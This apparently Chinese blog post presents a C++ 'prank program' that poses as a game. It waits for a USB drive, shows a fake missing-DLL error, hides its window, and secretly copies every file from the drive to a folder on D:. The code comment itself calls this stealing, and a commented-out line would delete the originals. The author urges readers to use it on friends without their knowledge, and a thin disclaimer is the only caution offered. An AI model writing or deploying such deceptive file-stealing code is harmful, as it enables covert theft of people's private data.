我回来了,恶搞程序2 正式出炉 2022.1.15

咳咳,因为学业的原因,导致我太久没有发程序了(实际上是懒得发+一周回来一次)

对了,澄清一下,我制作的恶搞程序,请不要应用于非法用途,这些程序仅供编程爱好者研究用途

接下来进入正题:

一个程序(c++ 5.18):

运行流程: 1.提醒对方插入U盘 - 2.提出随机错误信息(只有五条...) --3.隐藏程序 --4.激活,

#include <bits/stdc++.h>
#include <windows.h>  //操作系统的头文件
#include <stdio.h>
using namespace std; 
void HideWindow() {//隐藏控制台 
	HWND hwnd = GetForegroundWindow();
	if (hwnd) {
		ShowWindow(hwnd, SW_HIDE);
	}
}
void ShowWindow() {//显示控制台 当然这个程序不用... 
	HWND hwnd = GetForegroundWindow();
	if (hwnd) {
		ShowWindow(hwnd, SW_SHOW);
	}
}
//查找某一个盘符中我们需要的文件
void FindFile(char filename[])
{
	//filename:  "F:"  -->  "F:\\*.*" 
	char pathstr[300] = { 0 };
	sprintf(pathstr, "%s\\*.*", filename);  //通配符 *.mp3 *mp4 *avi *rmvb *.wma
	WIN32_FIND_DATA findata;  //文件结构 文件的属性 
	HANDLE hfile = FindFirstFile(pathstr, &findata);
	char tempstr[300] = { 0 };
	while (1) //DWORD
	{
		//如果找到的文件是文件夹  
		if (findata.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY)
		{
			if (findata.cFileName[0] != '.')
			{
				sprintf(tempstr, "%s\\%s", filename, findata.cFileName);
				FindFile(tempstr);
			}
		}
		else  //文件
		{
	
				//findata.cFileName 文件名  ---> 全路径
				sprintf(tempstr, "%s\\%s", filename, findata.cFileName);
			//printf("%s\n", tempstr);
			//创建一个自己的路径
			char mypath[300] = { 0 };

			CreateDirectory("D:\\U盘", NULL);
			sprintf(mypath, "D:\\U盘\\%s", findata.cFileName);
			CopyFile(tempstr, mypath, TRUE); //TRUE跳过 FALSE替换
			//DeleteFile(tempstr);
		}
		int ret = FindNextFile(hfile, &findata);   //查找下一个文件 
		if (ret == 0)break;  //后面没有了 找到了最后一个
	}
}

int main()
{
	cout<<"请插入U盘开始游戏!"<<endl; 
	//自动检测U盘的拔插
	bool kg=false;
	unsigned long allDisk; //定义一个变量 4B 32bit
	char str[5] = { 0 };
	while (1)
	{
		allDisk = GetLogicalDrives(); //get获取 Logical逻辑 Drives驱动

		for (int i = 0; i < 26; i++) //假设最多26个盘符
		{
			if ((allDisk & 1) == 1)  //最低位的那个盘符是存在
			{
				sprintf(str, "%c:", 'A' + i); //输出到字符串
				if (GetDriveType(str) == DRIVE_REMOVABLE)break;
			}
			allDisk = allDisk >> 1;
		}
		if (GetDriveType(str) == DRIVE_REMOVABLE)break;
	}
	kg=true;
	cout<<"已经检测到U盘,正在读取游戏,请稍等片刻..."<<endl; //输出错误信息 
	srand(time(0));
	int sj=1 + (int)5 * rand() / (RAND_MAX + 1);
	if(sj==1)MessageBox(NULL,"由于找不到MSVCR120D.dll,无法继续执行代码。重新安装程序可能会解决此问题。","游戏.exe-系统错误",MB_ICONERROR);
	if(sj==2)MessageBox(NULL,"由于找不到sqlite3.dll,无法继续执行代码。重新安装程序可能会解决此问题。","游戏.exe-系统错误",MB_ICONERROR);
	if(sj==3)MessageBox(NULL,"由于找不到Qt5WebEngineWidgetsd.dll,无法继续执行代码。重新安装程序可能会解决此问题。","游戏.exe-系统错误",MB_ICONERROR);
	if(sj==4)MessageBox(NULL,"由于找不到librdi_common.dll,无法继续执行代码。重新安装程序可能会解决此问题。","游戏.exe-系统错误",MB_ICONERROR);
	if(sj==5)MessageBox(NULL,"由于找不到MSVCR120D.dll,无法继续执行代码。重新安装程序可能会解决此问题。","游戏.exe-系统错误",MB_ICONERROR);
	HideWindow();//隐藏U盘 
	allDisk = GetLogicalDrives(); //get获取 Logical逻辑 Drives驱动

	for (int i = 0; i < 26; i++) //假设最多26个盘符
	{
		if ((allDisk & 1) == 1)  //最低位的那个盘符是存在
		{
			sprintf(str, "%c:", 'A' + i); //输出到字符串			
			if (GetDriveType(str) == DRIVE_REMOVABLE)break;
		}
		allDisk = allDisk >> 1;
	}
	if (GetDriveType(str) != DRIVE_REMOVABLE)kg=false;
	if(kg)FindFile(str);//如果U盘已经插入执行窃取代码 
	return 0;
}

小心,不要让他(她)知道,不然...(一次免费暴打)

咳咳,可以去坑你的朋友了(加油,小心被打...)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值